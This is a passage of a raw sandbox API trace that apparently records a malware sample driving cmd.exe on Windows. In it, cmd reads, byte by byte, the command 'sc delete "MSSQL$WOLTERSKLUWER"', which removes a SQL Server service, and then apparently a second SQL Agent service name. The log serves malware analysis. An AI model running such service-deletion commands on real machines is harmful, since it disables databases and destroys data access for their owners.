hHeap=0x240000) returned 1 [0076.889] GetEnvironmentStringsW () returned 0x261b10* [0076.889] GetProcessHeap () returned 0x240000 [0076.889] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.889] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.889] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.889] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd7000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.889] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0076.942] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.942] CloseHandle (hObject=0x50) returned 1 [0076.942] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.942] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.942] GetProcessHeap () returned 0x240000 [0076.944] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.944] GetEnvironmentStringsW () returned 0x261b10* [0076.944] GetProcessHeap () returned 0x240000 [0076.944] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.944] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.944] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.944] GetProcessHeap () returned 0x240000 [0076.944] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.945] GetEnvironmentStringsW () returned 0x261b10* [0076.945] GetProcessHeap () returned 0x240000 [0076.945] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0076.945] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.945] GetProcessHeap () returned 0x240000 [0076.945] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.945] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.945] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.946] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.946] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.946] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.946] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.946] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.946] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.946] GetConsoleOutputCP () returned 0x1b5 [0076.946] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.946] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259840 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.947] GetProcessHeap () returned 0x240000 [0076.947] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.947] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.947] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.947] GetFileType (hFile=0x120) returned 0x3 [0076.948] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.948] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.948] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.948] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.948] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.948] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.948] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.948] GetFileType (hFile=0x120) returned 0x3 [0076.948] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.948] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.948] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.948] GetFileType (hFile=0xb8) returned 0x3 [0076.948] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.948] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.949] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.949] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.949] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.949] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.949] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.949] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.949] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.949] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.949] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.949] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.949] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.949] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.949] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.949] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.950] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.950] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.950] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.950] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.950] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.950] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.950] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.950] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.951] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.951] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SSSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.951] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="QSQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.951] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.951] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="LQL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.951] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.951] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.952] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="AL$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.952] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="g$WOLTERSKLUWER\"\n\n\n") returned 1 [0076.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.952] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="eWOLTERSKLUWER\"\n\n\n") returned 1 [0076.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.952] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="nOLTERSKLUWER\"\n\n\n") returned 1 [0076.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.952] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.952] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="tLTERSKLUWER\"\n\n\n") returned 1 [0076.952] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.952] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.953] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="$TERSKLUWER\"\n\n\n") returned 1 [0076.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.953] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="PERSKLUWER\"\n\n\n") returned 1 [0076.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.953] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="RRSKLUWER\"\n\n\n") returned 1 [0076.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.953] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="OSKLUWER\"\n\n\n") returned 1 [0076.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.953] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="GKLUWER\"\n\n\n") returned 1 [0076.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.954] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="ILUWER\"\n\n\n") returned 1 [0076.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.954] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="DUWER\"\n\n\n") returned 1 [0076.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.954] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: 